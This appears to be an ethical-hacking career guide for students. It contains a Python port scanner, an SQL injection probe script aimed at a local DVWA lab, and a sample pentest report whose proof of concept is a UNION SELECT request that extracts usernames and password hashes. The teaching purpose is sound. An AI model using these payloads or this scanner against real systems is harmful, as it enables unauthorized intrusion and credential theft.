Ethical Hacking Career Options for Students in Delhi

# port_scanner.py — the first tool every ethical hacker writes
# Run this only against systems you own or have written permission to test.

import socket
import sys
from concurrent.futures import ThreadPoolExecutor

COMMON_PORTS = {
    21: "FTP", 22: "SSH", 25: "SMTP", 53: "DNS",
    80: "HTTP", 110: "POP3", 143: "IMAP", 443: "HTTPS",
    445: "SMB", 3306: "MySQL", 3389: "RDP", 5432: "PostgreSQL",
    6379: "Redis", 8080: "HTTP-Alt", 8443: "HTTPS-Alt", 27017: "MongoDB",
}

def scan_port(host: str, port: int, timeout: float = 1.0) -> tuple:
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return (port, COMMON_PORTS.get(port, "unknown"), True)
    except (socket.timeout, ConnectionRefusedError, OSError):
        return (port, COMMON_PORTS.get(port, "unknown"), False)

def scan_host(host: str, ports: list) -> None:
    print(f"\nScanning {host} — {len(ports)} ports")
    print("-" * 50)
    with ThreadPoolExecutor(max_workers=50) as pool:
        results = list(pool.map(lambda p: scan_port(host, p), ports))
    open_ports = [r for r in results if r[2]]
    if not open_ports:
        print("No open ports found in the scanned range.")
        return
    for port, service, _ in sorted(open_ports):
        print(f"  {port:>5}/tcp  open   {service}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python port_scanner.py ")
        sys.exit(1)
    scan_host(sys.argv[1], list(COMMON_PORTS.keys()))

# Why this matters:
# - Port scanning is the first step of almost every penetration test.
# - You learn what services are running, and therefore which attacks to try first.
# - Doing this against a system you do not own is illegal. Every engagement
#   starts with written authorization.
#
# What interviewers look for:
# - Do you understand the difference between a TCP connect and a SYN scan?
# - Can you explain what "open" vs "filtered" vs "closed" mean?
# - Do you know which ports are typically interesting and why?

# sqli_probe.py — testing for SQL injection in a controlled lab
# NEVER run this against a live site without written permission.
# Use DVWA (Damn Vulnerable Web App), bWAPP, or PortSwigger Web Security Academy.

import requests
from urllib.parse import quote

BASE = "http://localhost:8080/dvwa/vulnerabilities/sqli/"
SESSION = requests.Session()
SESSION.cookies.set("PHPSESSID", "your-lab-session-id")
SESSION.cookies.set("security", "low")

def test_payload(payload: str) -> dict:
    url = f"{BASE}?id={quote(payload)}&Submit=Submit"
    response = SESSION.get(url, timeout=10)
    body = response.text
    return {
        "payload": payload,
        "status": response.status_code,
        "length": len(body),
        "contains_error": any(
            keyword in body.lower()
            for keyword in ["sql syntax", "mysql", "warning", "error in your sql"]
        ),
        "contains_users": "admin" in body.lower() or "gordonb" in body.lower(),
    }

payloads = ["1", "1'", "1' OR '1'='1", "1' UNION SELECT user, password FROM users-- -"]

for payload in payloads:
    result = test_payload(payload)
    print(f"\nPayload: {payload}")
    print(f"  Status: {result['status']}")
    print(f"  SQL error: {result['contains_error']}")
    print(f"  Users returned: {result['contains_users']}")

# What a good pentester does with this:
# - Confirms whether the parameter is injectable.
# - Determines what data can be extracted.
# - Documents the exact request and response that proves the finding.
# - Writes a report with severity, impact, and remediation.
#
# This is the difference between an ethical hacker and a criminal —
# not the tool, but the permission and the restraint.

# Vulnerability Report — SQL Injection in /product.php?id=

## Summary
The `id` parameter on `/product.php` is vulnerable to SQL injection.
An unauthenticated attacker can read arbitrary data from the
`products` and `users` tables, including password hashes.

## Severity
**High** (CVSS 3.1: 8.6)

- Confidentiality: High
- Integrity: Low
- Availability: None
- Exploit complexity: Low
- Authentication required: None

## Affected Component
- Host: shop.example.com (staging, authorised test)
- Path: `/product.php?id=`
- Method: GET

## Proof of Concept
Request:
GET /product.php?id=1'%20UNION%20SELECT%20username,password%20FROM%20users--%20- HTTP/1.1
Host: shop.example.com

Response (truncated):
<tbody>
  <tr><td>admin</td><td>$2y$10$...</td></tr>
  <tr><td>analyst</td><td>$2y$10$...</td></tr>
</tbody>

## Impact
An attacker can extract all user credentials. If password hashes are
cracked, this leads to account takeover. The `users` table currently
contains 12,400 rows.

## Remediation
1. Replace the raw query with a parameterized statement:
   $stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
   $stmt->execute([$_GET['id']]);

2. Enforce input validation — `id` should be an integer.
3. Add least-privilege database accounts.
4. Review other endpoints that accept identifiers directly.

## References
- OWASP A03:2021 — Injection
- CWE-89: SQL Injection

## Notes
- Testing was conducted with written authorisation under ticket SEC-2841.
- No data was modified or extracted beyond what is shown above.

# Why this matters:
# - The report is the product of a penetration test.
# - Clear severity, clear evidence, clear remediation.
# - A great finding with a poor report gets ignored.
# - A modest finding with a clear report gets fixed — and the tester
#   gets called again.